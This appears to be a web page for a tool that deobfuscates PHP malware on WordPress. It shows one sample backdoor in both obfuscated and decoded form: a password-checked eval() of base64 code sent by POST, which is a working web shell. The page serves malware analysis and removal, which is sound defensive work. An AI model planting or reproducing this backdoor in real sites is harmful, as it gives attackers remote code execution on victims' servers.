PHP deobfuscation, decryption, reconstruction tool

De-obfuscate PHP malware/viruses and tampering code on Wordpress to original readable code.

*Please note that not all obfuscation codes can be decoded.

Decoded the code below.

<?php $b = "base64_decode"; $m = "md5"; $d = "dd"; $e = $m("343"); $f = $b("ZmQ" . "0" . "NWR" . "jZ" . "GI0NGF" . "iODVi" . "Yj" . "M2N" . "WVmY" . "TE4Zj" . "Q4MTM3OGQ="); if ($m($_POST[$d]) == $f) { eval($b($_POST[$d . '1'])); } else { echo $e; die(); }...

Obfuscated php code

<?php
	$b = "base64_decode";
	$m = "md5";
	$d = "dd";
	$e = $m("343");
	$f = $b("ZmQ" . "0" . "NWR" . "jZ" . "GI0NGF" . "iODVi" . "Yj" . "M2N" . "WVmY" . "TE4Zj" . "Q4MTM3OGQ=");
	if ($m($_POST[$d]) == $f) {
		eval($b($_POST[$d . '1']));
	} else {
		echo $e;
		die();
	}

Decoded(de-Obfuscated) php code

<?php

$b = "base64_decode";
$m = "md5";
$d = "dd";
$e = md5("343");
$f = "fd45dcdb44ab85bb365efa18f481378d";
if (md5($_POST[$d]) == $f) {
    eval(base64_decode($_POST["dd1"]));
} else {
    echo $e;
    die;
}

Malware detection & removal plugin for WordPress